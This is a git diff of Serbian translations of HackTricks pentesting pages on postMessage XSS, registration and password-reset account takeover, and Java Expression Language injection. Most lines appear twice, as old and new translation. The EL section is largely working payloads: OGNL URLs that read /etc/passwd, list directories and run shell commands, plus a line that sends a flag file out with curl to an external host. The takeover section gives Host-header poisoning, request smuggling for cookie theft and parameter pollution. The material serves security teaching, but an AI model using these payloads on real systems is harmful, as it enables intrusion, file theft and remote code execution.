### postMessage ka Prototype Pollution i/ili XSS
U scenarijima gde su podaci poslati putem `postMessage` izvršeni od strane JS-a, možete **ugraditi** **stranicu** i **iskoristiti** **prototype pollution/XSS** slanjem eksploatacije putem `postMessage`.
U scenarijima gde su podaci poslati putem `postMessage` izvršeni pomoću JS-a, možete **ugraditi** **stranicu** i **iskoristiti** **prototype pollution/XSS** slanjem eksploatacije putem `postMessage`.
Par **veoma dobro objašnjenih XSS-a putem `postMessage`** može se pronaći na [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
Primer eksploatacije za zloupotrebu **Prototype Pollution a zatim XSS** putem `postMessage` ka `iframe-u`:
Primer eksploatacije za zloupotrebu **Prototype Pollution a zatim XSS-a** putem `postMessage` ka `iframe-u`:
```html
<html>
<body>
@ -210,7 +224,7 @@ setTimeout(get_code, 2000);
```
Za **više informacija**:
* Link ka stranici o [**prototipnom zagađenju**](../deserialization/nodejs-proto-prototype-pollution/)
* Link ka stranici o [**zagađenju prototipa**](../deserialization/nodejs-proto-prototype-pollution/)
* Link ka stranici o [**XSS**](../xss-cross-site-scripting/)
* Link ka stranici o [**zagađenju prototipa na klijentskoj strani do XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
@ -220,6 +234,18 @@ Za **više informacija**:
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
* Za vežbu: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač na **dark vebu** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera za krađu podataka**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu besplatno na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -230,6 +256,6 @@ Drugi načini podrške HackTricks-u:
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -1,4 +1,4 @@
# Registracija i ranjivosti preuzimanja
# Registracione i preuzimanje ranjivosti
<details>
@ -6,42 +6,56 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-om koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Preuzimanje registracije
### Dupliranje registracije
### Duplikat registracije
* Pokušajte generisati koristeći postojeće korisničko ime
* Proverite variranje e-pošte:
* velika slova
* \+1@
* dodajte tačku u e-poštu
* posebni karakteri u imenu e-pošte (%00, %09, %20)
* Stavite crne karaktere posle e-pošte: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
* velika slova
* \+1@
* dodajte tačku u e-poštu
* posebni karakteri u imenu e-pošte (%00, %09, %20)
* Stavite crne karaktere posle e-pošte: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### Enumeracija korisničkog imena
Proverite da li možete saznati kada je korisničko ime već registrovano unutar aplikacije.
Proverite da li možete da saznate kada je korisničko ime već registrovano unutar aplikacije.
### Politika lozinke
Prilikom kreiranja korisnika proverite politiku lozinke (proverite da li možete koristiti slabe lozinke).\
U tom slučaju možete pokušati napasti lozinke metodom brute force.
U tom slučaju možete pokušati da probate lozinke metodom brute force.
### SQL Injection
[**Proverite ovu stranicu** ](sql-injection/#insert-statement)da biste naučili kako pokušati preuzeti naloge ili izvući informacije putem **SQL Injection**-a u registracionim formama.
[**Proverite ovu stranicu** ](sql-injection/#insert-statement)da biste saznali kako pokušati preuzimanje naloga ili izvlačenje informacija putem **SQL Injection**-a u formama registracije.
### Preuzimanje Oauth-a
### Oauth preuzimanja
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
@ -55,14 +69,35 @@ U tom slučaju možete pokušati napasti lozinke metodom brute force.
### Promena e-pošte
Kada se registrujete, pokušajte promeniti e-poštu i proverite da li se ova promena pravilno validira ili možete promeniti na proizvoljne e-pošte.
Kada se registrujete, pokušajte da promenite e-poštu i proverite da li je ova promena ispravno validirana ili možete promeniti na proizvoljne e-adrese.
### Dodatne provere
* Proverite da li možete koristiti **privremene e-pošte**
* Proverite da li možete koristiti **privremene e-adrese**
* **Dugačka** **lozinka** (>200) dovodi do **DoS**-a
* **Proverite ograničenja brzine pri kreiranju naloga**
* Koristite username@**burp\_collab**.net i analizirajte **callback**
## **Preuzimanje resetovanja lozinke**
### Curenje tokena za resetovanje lozinke putem referera <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Zatražite resetovanje lozinke na vašu e-adresu
2. Kliknite na link za resetovanje lozinke
3. Ne menjajte lozinku
4. Kliknite na bilo koju web lokaciju treće strane (npr. Facebook, Twitter)
5. Presretnite zahtev u Burp Suite proxy-u
6. Proverite da li referer zaglavlje otkriva token za resetovanje lozinke.
### Trovanje resetovanja lozinke <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Presretnite zahtev za resetovanje lozinke u Burp Suite-u
2. Dodajte ili izmenite sledeće zaglavlja u Burp Suite-u: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Prosledite zahtev sa izmenjenim zaglavljem\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Potražite URL za resetovanje lozinke na osnovu _host zaglavlja_ kao što je: `https://attacker.com/reset-password.php?token=TOKEN`
### Resetovanje lozinke putem parametra e-pošte <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -81,15 +116,15 @@ email=victim@mail.com|hacker@mail.com
```
### IDOR na API parametrima <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Napadač se mora prijaviti sa svojim nalogom i otići na funkcionalnost **Promena lozinke**.
1. Napadač mora da se prijavi na svoj nalog i da ode na opciju **Promeni lozinku**.
2. Pokrenite Burp Suite i presretnite zahtev.
3. Pošaljite ga na karticu "repeater" i izmenite parametre: ID korisnika/e-pošta\
3. Pošaljite ga na karticu za ponavljanje i izmenite parametre: ID korisnika/e-pošta\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Slab token za resetovanje lozinke <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Token za resetovanje lozinke treba da bude nasumično generisan i jedinstven svaki put.\
Pokušajte da utvrdite da li token ističe ili je uvek isti, u nekim slučajevima algoritam generisanja je slab i može se pogoditi. Sledeće promenljive mogu biti korišćene od strane algoritma.
Token za resetovanje lozinke treba da bude generisan nasumično i jedinstven svaki put.\
Pokušajte da utvrdite da li token ističe ili je uvek isti, u nekim slučajevima algoritam generisanja može biti slab i može se pogoditi. Sledeće promenljive mogu biti korišćene od strane algoritma.
* Vremenska oznaka
* ID korisnika
@ -98,39 +133,39 @@ Pokušajte da utvrdite da li token ističe ili je uvek isti, u nekim slučajevim
* Datum rođenja
* Kriptografija
* Samo brojevi
* Mala sekvencija tokena (karakteri između \[A-Z,a-z,0-9])
* Mali niz tokena (karakteri između \[A-Z,a-z,0-9])
* Ponovna upotreba tokena
* Datum isteka tokena
### Otkrivanje tokena za resetovanje lozinke <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Pokrenite zahtev za resetovanje lozinke koristeći API/UI za određenu e-poštu, na primer: test@mail.com
2. Pregledajte odgovor servera i proverite da li postoji `resetToken`
3. Zatim koristite token u URL-u kao što je `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
1. Pokrenite zahtev za resetovanje lozinke koristeći API/UI za određenu e-poštu npr. test@mail.com
2. Inspekcionišite odgovor servera i proverite `resetToken`
3. Zatim koristite token u URL-u poput `https://primer.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Resetovanje lozinke putem kolizije korisničkog imena <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Registrujte se na sistemu sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa belinama ubačenim pre i/ili posle korisničkog imena, na primer: `"admin "`
1. Registrujte se na sistemu sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa belinama ubačenim pre i/ili posle korisničkog imena. npr. `"admin "`
2. Zatražite resetovanje lozinke sa zlonamernim korisničkim imenom.
3. Koristite token poslat na vašu e-poštu i resetujte lozinku žrtve.
4. Prijavite se na nalog žrtve sa novom lozinkom.
4. Povežite se sa nalogom žrtve sa novom lozinkom.
Platforma CTFd je bila ranjiva na ovaj napad.\
Vidi: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Preuzimanje naloga putem Cross Site Scripting-a <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Pronađite XSS unutar aplikacije ili poddomena ako su kolačići ograničeni na nadređenu domenu: `*.domain.com`
2. Otkrijte trenutni **kolačić sesije**
1. Pronađite XSS unutar aplikacije ili poddomena ako su kolačići ograničeni na nadređeni domen: `*.domain.com`
2. Procurejte trenutni **kolačić sesije**
3. Autentifikujte se kao korisnik koristeći kolačić
### Preuzimanje naloga putem HTTP Request Smuggling-a <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
### Preuzimanje naloga putem HTTP zahteva Smuggling-a <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Koristite **smuggler** da biste otkrili vrstu HTTP Request Smuggling-a (CL, TE, CL.TE)\
1\. Koristite **smuggler** da otkrijete vrstu HTTP zahteva Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Kreirajte zahtev koji će prebrisati `POST / HTTP/1.1` sa sledećim podacima:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` sa ciljem preusmeravanja žrtava na burpcollab i krađe njihovih kolačića\
3\. Konačan zahtev može izgledati ovako
3\. Konačan zahtev bi mogao izgledati ovako
```
GET / HTTP/1.1
Transfer-Encoding: chunked
@ -142,20 +177,20 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone izveštaji o iskorišćavanju ove greške\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Izveštaji sa Hackerone o iskorišćavanju ovog baga\
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Preuzimanje naloga putem CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Kreirajte payload za CSRF, npr. "HTML formu sa automatskim slanjem za promenu lozinke"
1. Kreirajte payload za CSRF, npr. "HTML obrazac sa automatskim slanjem za promenu lozinke"
2. Pošaljite payload
### Preuzimanje naloga putem JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token može se koristiti za autentifikaciju korisnika.
* Izmenite JWT sa drugim korisničkim ID-em / Email-om
* Izmenite JWT sa drugim ID-em korisnika / Email-om
* Proverite da li postoji slab potpis JWT-a
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
@ -166,16 +201,30 @@ JSON Web Token može se koristiti za autentifikaciju korisnika.
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web**-om koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -4,45 +4,59 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Osnovne informacije
## WhiteIntel
Expression Language (EL) je integralan deo JavaEE-a za povezivanje sloja prezentacije (npr. web stranice) i aplikacione logike (npr. upravljani bean-ovi), omogućavajući njihovu interakciju. Najčešće se koristi u:
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
- **JavaServer Faces (JSF)**: Za povezivanje UI komponenti sa backend podacima/akcijama.
- **JavaServer Pages (JSP)**: Za pristup i manipulaciju podacima unutar JSP stranica.
- **Contexts and Dependency Injection for Java EE (CDI)**: Za olakšavanje interakcije web sloja sa upravljanim bean-ovima.
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
**Konteksti upotrebe**:
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
- **Spring Framework**: Primenjuje se u različitim modulima kao što su Security i Data.
- **Opšta upotreba**: Kroz SpEL API od strane programera u jezicima zasnovanim na JVM-u kao što su Java, Kotlin i Scala.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
EL je prisutan u JavaEE tehnologijama, samostalnim okruženjima i prepoznaje se kroz ekstenzije `.jsp` ili `.jsf` fajlova, greške u steku i termine poput "Servlet" u zaglavljima. Međutim, njegove funkcionalnosti i upotreba određenih karaktera mogu zavisiti od verzije.
{% embed url="https://whiteintel.io" %}
---
## Osnovne Informacije
Expression Language (EL) je integralan u JavaEE za povezivanje sloja prezentacije (npr. veb stranice) i aplikacione logike (npr. upravljanih beanova), omogućavajući njihovu interakciju. On se pretežno koristi u:
- **JavaServer Faces (JSF)**: Za povezivanje UI komponenti sa podacima/akcijama na backendu.
- **JavaServer Pages (JSP)**: Za pristup podacima i manipulaciju unutar JSP stranica.
- **Contexts and Dependency Injection for Java EE (CDI)**: Za olakšavanje interakcije sloja veba sa upravljanim beanovima.
**Konteksti Upotrebe**:
- **Spring Framework**: Primenjen u različitim modulima poput Security i Data.
- **Opšta Upotreba**: Kroz SpEL API od strane programera u jezicima zasnovanim na JVM-u poput Java, Kotlin i Scala.
EL je prisutan u JavaEE tehnologijama, samostalnim okruženjima, i prepoznatljiv je kroz ekstenzije fajlova `.jsp` ili `.jsf`, greške u steku i termine poput "Servlet" u zaglavljima. Međutim, njegove funkcionalnosti i korišćenje određenih karaktera mogu zavisiti od verzije.
{% hint style="info" %}
Zavisno od **verzije EL-a**, neke **funkcionalnosti** mogu biti **uključene** ili **isključene**, a obično su **neki karakteri** zabranjeni.
Zavisno od **verzije EL-a** neke **funkcionalnosti** mogu biti **uključene** ili **isključene** i obično neki **karakteri** mogu biti **zabranjeni**.
{% endhint %}
## Osnovni primer
## Osnovni Primer
(Možete pronaći još jedan interesantan tutorijal o EL-u na [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
(Možete pronaći još jedan zanimljiv tutorijal o EL-u na [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
Preuzmite jar fajlove sa [**Maven**](https://mvnrepository.com) repozitorijuma:
Preuzmite sa [**Maven**](https://mvnrepository.com) repozitorijuma jar fajlove:
* `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar`
I kreirajte sledeći `Main.java` fajl:
I kreirajte sledeći fajl `Main.java`:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
@ -78,11 +92,11 @@ Primetite kako je u prethodnom primeru termin `{5*5}` **procenjen**.
## **CVE bazirani tutorijal**
Proverite ga u **ovom postu: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**
Proverite u **ovom postu: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)**
## Payloadi
### Osnovne akcije
### Osnovne radnje
```bash
#Basic string operations examples
{"a".toString()}
@ -106,36 +120,28 @@ Proverite ga u **ovom postu: [https://xvnpw.medium.com/hacking-spel-part-1-d2ff2
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```
### Detekcija
### Otkrivanje
* Detekcija u Burp-u
* Burp detekcija
```bash
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```
* Otkrivanje J2EE-a
* Detekcija J2EE
```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
* Spavaj 10 sekundi
* Sačekaj 10 sekundi
```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
### Udaljeno uključivanje fajlova
Udaljeno uključivanje fajlova (Remote File Inclusion) je ranjivost koja omogućava napadaču da uključi udaljeni fajl na ciljnom serveru. Ova ranjivost se često javlja kada aplikacija dinamički uključuje fajlove na osnovu korisničkog unosa, a ne provjerava ispravno korisničke unose. Napadač može iskoristiti ovu ranjivost za izvršavanje zlonamernog koda, čitanje osetljivih podataka ili čak preuzimanje kontrole nad ciljnim serverom.
Da bi iskoristio ranjivost udaljenog uključivanja fajlova, napadač mora da pronađe tačku u aplikaciji gde se korisnički unos direktno koristi za uključivanje fajla. Onda napadač može da manipuliše korisničkim unosom tako da umesto očekivanog fajla uključi udaljeni fajl sa zlonamernim kodom.
Da bi se zaštitili od udaljenog uključivanja fajlova, važno je da se korisnički unosi pravilno provere i filtriraju pre nego što se koriste za uključivanje fajlova. Takođe je preporučljivo koristiti apsolutne putanje umesto relativnih putanja prilikom uključivanja fajlova, kako bi se sprečilo uključivanje udaljenih fajlova.
### Udaljeno uključivanje datoteka
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
### Prikazivanje direktorijuma
Directory listing (prikazivanje direktorijuma) je proces prikazivanja svih datoteka i direktorijuma koji se nalaze unutar određenog direktorijuma na serveru. Ova funkcionalnost omogućava korisnicima da vide sve dostupne datoteke i direktorijume na serveru. Prikazivanje direktorijuma može biti korisno tokom testiranja penetracije kako bi se identifikovali potencijalni ciljevi za napad.
### Lista direktorijuma
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
@ -157,7 +163,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
* RCE **linux**
* Izvršenje udaljenih komandi **linux**
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
@ -201,29 +207,29 @@ T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
```
### Inspekcija okruženja
### Pregledanje okruženja
* `applicationScope` - globalne promenljive aplikacije
* `requestScope` - promenljive zahteva
* `initParam` - promenljive inicijalizacije aplikacije
* `initParam` - inicijalne promenljive aplikacije
* `sessionScope` - promenljive sesije
* `param.X` - vrednost parametra gde je X ime HTTP parametra
Potrebno je konvertovati ove promenljive u String format, na primer:
Potrebno je da konvertujete ove promenljive u String kao što je prikazano:
```bash
${sessionScope.toString()}
```
#### Primer za zaobilaženje autorizacije
#### Primer zaobilaženja autorizacije
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
Aplikacija takođe može koristiti prilagođene promenljive kao što su:
Aplikacija takođe može koristiti prilagođene promenljive poput:
```bash
${user}
${password}
${employee.FirstName}
```
## Bypassiranje WAF-a
## Bypassovanje WAF-a
Proverite [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
@ -234,14 +240,26 @@ Proverite [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](http
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
## WhiteIntel
